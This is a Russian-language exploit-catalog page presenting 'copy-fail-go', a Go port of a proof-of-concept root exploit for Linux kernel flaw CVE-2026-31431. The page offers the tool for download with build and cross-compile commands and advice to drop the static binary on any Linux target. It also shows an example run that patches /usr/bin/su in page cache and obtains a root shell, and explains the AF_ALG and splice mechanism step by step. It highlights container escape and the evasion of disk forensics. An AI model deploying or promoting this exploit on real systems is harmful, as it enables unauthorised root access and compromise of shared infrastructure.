Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
copy-fail-go — Go-порт PoC для повышения привилегий в ядре Linux CVE-2026-31431 (copy-fail) с автоматическим перебором SUID-бинарников и интерактивным выбором цели. | Kitploit
Инструменты/GitHubGitHub/3jee/copy-fail-go
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияCTFТестирование на ПроникновениеRed TeamingЭксплуатация Бинарных Файлов
GitHub3jee/copy-fail-go

copy-fail-go

Go-порт PoC для повышения привилегий в ядре Linux CVE-2026-31431 (copy-fail) с автоматическим перебором SUID-бинарников и интерактивным выбором цели.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

copy-fail-go

Go-порт Python PoC от grenkoca для CVE-2026-31431 (copy-fail).

Эта версия компилируется в полностью статический бинарник без каких-либо зависимостей времени выполнения — ни Python, ни pip, ни ограничений по версии libc. Закиньте его на любой Linux-таргет и запустите. Он также автоматически перечисляет все SUID-бинарники, доступные для чтения всем пользователям, и позволяет интерактивно выбрать, какой из них эксплуатировать.

Только для авторизованных исследований безопасности и использования в CTF.


Что такое CVE-2026-31431 (copy-fail)?

Обнаружена компанией Theori и публично раскрыта 29 апреля 2026 года. Copy.Fail — это логическая ошибка в криптомодуле algif_aead ядра Linux, появившаяся в результате оптимизации 2017 года. Она затрагивает все основные дистрибутивы Linux начиная с 2017 года.

Манипулируя криптоинтерфейсом AF_ALG ядра, непривилегированный атакующий может записывать управляемые данные напрямую в page cache Linux — представление доверенных системных бинарников в памяти. Это позволяет временно перехватывать такие бинарники, как /usr/bin/su, не изменяя файл на диске, что делает дисковую криминалистику слепой к атаке.

В отличие от многих LPE-уязвимостей, зависящих от гонок или утечек адресов ядра, Copy.Fail отличается высокой надёжностью и стабильно работает с обычной пользовательской учётной записью.

Воздействие:

  • Обычный пользователь → root на любой затронутой системе
  • Побег из контейнера на хост
  • CI/CD-джобы получают root на своём раннере
  • Компрометация общей/мультитенантной инфраструктуры между тенантами
  • Отсутствие модификации файлов на диске (обход проверок целостности)

Затронутые ядра: Все дистрибутивы начиная с 2017 года. Конкретный диапазон версий см. в оригинальном PoC grenkoca.


Отличия от оригинального Python PoC


Требования

  • Ядро Linux в затронутом диапазоне версий
  • Наличие SUID-бинарника, доступного для чтения всем пользователям (инструмент найдёт их сам)
  • Для запуска не требуются особые привилегии

Зависимости для сборки (на вашей сборочной машине)

ИнструментВерсия
Go1.21+

Сборка

Нативная сборка под Linux

root@kitploit:~
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .

Кросс-компиляция с macOS или Windows (для Linux x86-64)

root@kitploit:~
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .

Флаги -s -w удаляют отладочную информацию для уменьшения размера бинарника. CGO_ENABLED=0 создаёт полностью статический бинарник без зависимости от libc — закиньте его на любой Linux-таргет независимо от версии glibc.

Другие архитектуры

Целевая платформаКоманда
Linux ARM64GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail .
Linux 32-bit x86GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail .

Использование

Передайте бинарник на таргет и выполните его (root не требуется):

root@kitploit:~
./copy-fail

Пример сеанса:

root@kitploit:~
CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC

Scanning for SUID world-readable binaries...

SUID world-readable binaries found:
------------------------------------
  [1] /usr/bin/su
  [2] /usr/bin/sudo
  [3] /usr/bin/passwd
  [4] /usr/bin/newgrp

Select target [1-4]: 1

[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root

Как это работает

  1. Открывает целевой SUID-бинарник с флагом O_RDONLY — права на запись не нужны.
  2. Создаёт сокет AF_ALG (SOCK_SEQPACKET), привязанный к AEAD-трансформации authencesn(hmac(sha256),cbc(aes)).
  3. Отправляет сформированный sendmsg с флагом MSG_MORE и управляющими сообщениями SOL_ALG для постановки криптооперации в очередь против записи page cache целевого файла.
  4. Использует splice(2) для перемещения страниц из файла в сокет ALG, запуская уязвимый путь ядра, который записывает изменённые страницы page cache обратно без повторной проверки прав на файл.
  5. Повторяет для каждого 4-байтового фрагмента полезной нагрузки.
  6. Выполняет пропатченный бинарник.

Благодарности

  • grenkoca — оригинальный Python PoC
  • Theori — обнаружение уязвимости
  • Этот репозиторий — неминифицированный Go-порт с автоматическим перечислением целей

Ссылки

  • OVHcloud: Copy.Fail - How to Rapidly Protect MKS Clusters from the Linux Kernel Zero-Day
  • Оригинальный Python PoC grenkoca (gist)
Скачать инструмент
Оригинал (Python)Этот репозиторий (Go)
ЯзыкPython 3Go 1.21+
ЦельЖёстко заданный /usr/bin/suАвтоопределение при сканировании живой файловой системы
Выбор целиОтсутствуетИнтерактивное нумерованное меню
РаспространениеСкриптОдин статический бинарник (без зависимостей времени выполнения)